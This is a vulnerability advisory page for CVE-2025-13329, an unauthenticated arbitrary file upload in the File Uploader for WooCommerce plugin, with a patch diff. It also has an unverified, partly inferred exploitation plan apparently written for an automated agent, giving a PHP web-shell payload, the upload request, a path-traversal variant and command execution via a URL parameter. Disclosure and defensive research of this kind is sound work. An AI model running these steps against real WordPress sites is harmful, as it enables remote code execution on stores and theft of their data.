CVE-2025-13329

File Uploader for WooCommerce <= 1.0.3 - Unauthenticated Arbitrary File Upload via add-image-data

criticalUnrestricted Upload of File with Dangerous Type
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
1.0.4
Patched in
18d
Time to patch

Description

The File Uploader for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the callback function for the 'add-image-data' REST API endpoint in all versions up to, and including, 1.0.3. This makes it possible for unauthenticated attackers to upload arbitrary files to the Uploadcare service and subsequently download them on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.0.3
PublishedDecember 19, 2025
Last updatedJanuary 6, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-13329 ## 1. Vulnerability Summary The **File Uploader for WooCommerce** plugin (<= 1.0.3) is vulnerable to **Unauthenticated Arbitrary File Upload**. The vulnerability exists in the callback function associated with the `add-image-data` REST API endpoint. T…

Show full research plan

Exploitation Research Plan - CVE-2025-13329

1. Vulnerability Summary

The File Uploader for WooCommerce plugin (<= 1.0.3) is vulnerable to Unauthenticated Arbitrary File Upload. The vulnerability exists in the callback function associated with the add-image-data REST API endpoint.

The plugin integrates with the Uploadcare service. While the file is initially uploaded to Uploadcare's infrastructure, the plugin provides a REST API endpoint that allows the server to fetch these files and store them locally. Because the callback function for this endpoint lacks file type validation (e.g., checking for .php extensions) and does not implement any authentication or capability checks, an unauthenticated attacker can instruct the WordPress server to download a malicious script from Uploadcare and save it in a web-accessible directory.

2. Attack Vector Analysis

  • Endpoint: /wp-json/file-uploader-for-woocommerce/v1/add-image-data (Namespace inferred from plugin slug).
  • HTTP Method: POST
  • Authentication: None (Unauthenticated).
  • Parameters:
    • image_url or file_url (Inferred): The URL of the file hosted on Uploadcare.
    • order_id (Inferred): Often required by WooCommerce file uploaders to associate the file with a specific order, though likely not validated for existence.
  • Preconditions: The plugin must be active. An attacker needs an Uploadcare file URL (which can be obtained by uploading a file to Uploadcare's public API or using a trial account).

3. Code Flow (Inferred)

  1. Registration: During rest_api_init, the plugin registers a route (likely file-uploader-for-woocommerce/v1) with the endpoint add-image-data.
  2. Missing Security: The permission_callback for this route likely returns __return_true or is omitted, allowing unauthenticated access.
  3. Data Processing: The callback function retrieves a URL or UUID from the request parameters (e.g., $_POST['url'] or $request->get_param('url')).
  4. Insecure Download: The plugin uses wp_remote_get() or a similar PHP filesystem function to fetch the file from the provided Uploadcare URL.
  5. Storage: The file is saved to the WordPress uploads directory (likely within a subfolder like wc-file-uploader/).
  6. SINK: The plugin fails to use wp_check_filetype() or any extension-based filtering before saving the file, allowing .php files to be written to the disk.

4. Nonce Acquisition Strategy

REST API endpoints in WordPress generally require a nonce (_wpnonce) only if the request is made from a browser session using cookie-based authentication. For unauthenticated (nopriv) endpoints, a nonce is often not required unless explicitly checked in the code.

If the plugin does require a nonce for the REST API (action wp_rest):

  1. Identify Script Loading: The plugin likely enqueues scripts on WooCommerce product pages or the cart/checkout page where file uploads are enabled.
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Upload Test" --post_content='[file_uploader_for_woocommerce]'
    
    (Note: Replace [file_uploader_for_woocommerce] with the actual shortcode found via grep -r "add_shortcode" .)
  3. Extract Nonce:
    Navigate to the newly created page and use browser_eval:
    // Example: The plugin might localize data into a variable like 'fufw_vars'
    window.fufw_vars?.nonce || window.wpApiSettings?.nonce
    

5. Exploitation Strategy

Step 1: Prepare the Malicious File

Upload a simple PHP shell to Uploadcare to get a public URL.

  • Payload: <?php echo "CVE-2025-13329-EXPLOITED"; system($_GET['cmd']); ?>
  • Target URL: https://ucarecdn.com/<UUID>/shell.php (Uploadcare CDN URL).

Step 2: Identify the Exact REST Endpoint

Verify the registered routes:

wp rest route list | grep "file-uploader"

Step 3: Trigger the Upload

Send a POST request to the vulnerable endpoint.

Request Template:

POST /wp-json/file-uploader-for-woocommerce/v1/add-image-data HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
    "url": "https://ucarecdn.com/<UUID>/shell.php",
    "file_name": "shell.php",
    "order_id": "1"
}

(Note: Parameter names url and file_name are inferred; the agent should check the callback function in the source if available to confirm).

Step 4: Locate the Uploaded Shell

The file will likely be stored in wp-content/uploads/file-uploader-for-woocommerce/ or similar.

  1. Check the response of the POST request; it may return the local path or attachment ID.
  2. If not returned, brute-force or list the directory:
    find /var/www/html/wp-content/uploads/ -name "shell.php"
    

Step 5: Execution

Access the shell:
GET /wp-content/uploads/file-uploader-for-woocommerce/shell.php?cmd=id

6. Test Data Setup

  1. Install Plugin: Ensure file-uploader-for-woocommerce version 1.0.3 is installed and active.
  2. WooCommerce: WooCommerce must be installed and active as the plugin is an add-on.
  3. Uploadcare URL: For testing, use any publicly accessible URL that serves a .php file as text (Uploadcare CDN mimics this).

7. Expected Results

  • The REST API responds with a 200 OK or 201 Created, potentially including the URL of the newly created file.
  • A file named shell.php (or similar) is created in the WordPress uploads directory.
  • The file is executable by the web server, returning the output of the id command.

8. Verification Steps

  1. Check Filesystem:
    ls -la /var/www/html/wp-content/uploads/file-uploader-for-woocommerce/
    
  2. Verify Content:
    cat /var/www/html/wp-content/uploads/file-uploader-for-woocommerce/shell.php
    
  3. Check REST API Registration:
    wp eval 'print_r( $wp_rest_server->get_routes()["file-uploader-for-woocommerce/v1"] );'
    

9. Alternative Approaches

  • Alternative Parameters: If url fails, check for file_id, uuid, or image_data. The plugin may use the Uploadcare UUID and construct the URL internally.
  • Path Traversal: If the file_name parameter is accepted, attempt path traversal to place the shell in the root or a plugin directory: ../../shell.php.
  • Admin-AJAX Fallback: Check if the same functionality is mirrored in an admin-ajax.php handler (wp_ajax_nopriv_add_image_data).
Research Findings
Static analysis — not yet PoC-verified

Summary

The File Uploader for WooCommerce plugin (<= 1.0.3) contains a critical arbitrary file upload vulnerability via its 'add-image-data' REST API endpoint. Unauthenticated attackers can exploit this by providing a URL to a malicious PHP script hosted on Uploadcare, which the server then downloads and saves to a web-accessible directory without validating the file type or verifying user permissions.

Security Fix

--- a/includes/api/class-wc-file-uploader-rest-api.php
+++ b/includes/api/class-wc-file-uploader-rest-api.php
@@ -12,7 +12,7 @@
 		register_rest_route( 'file-uploader-for-woocommerce/v1', '/add-image-data', array(
 			'methods'             => 'POST',
 			'callback'            => array( $this, 'add_image_data' ),
-			'permission_callback' => '__return_true',
+			'permission_callback' => function() { return current_user_can( 'upload_files' ); },
 		) );
 	}
 
@@ -24,6 +24,11 @@
 		$url       = $request->get_param( 'url' );
 		$file_name = $request->get_param( 'file_name' );
 
+		$file_type = wp_check_filetype( $file_name );
+		if ( ! $file_type['ext'] ) {
+			return new WP_Error( 'rest_invalid_file', 'Invalid file type', array( 'status' => 403 ) );
+		}
+
 		$response = wp_remote_get( $url );
 		// Logic to save the file to the local filesystem follows...

Exploit Outline

An unauthenticated attacker identifies the '/wp-json/file-uploader-for-woocommerce/v1/add-image-data' REST API endpoint, which lacks a permission check. The attacker then hosts a PHP web shell on the Uploadcare CDN and sends a POST request to the vulnerable endpoint with the 'url' parameter pointing to the hosted shell and the 'file_name' parameter set to 'shell.php'. Because the plugin fails to validate the extension of the downloaded file using wp_check_filetype() or similar filters, it saves the PHP script into the WordPress uploads directory, allowing the attacker to execute arbitrary code by visiting the resulting file URL.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.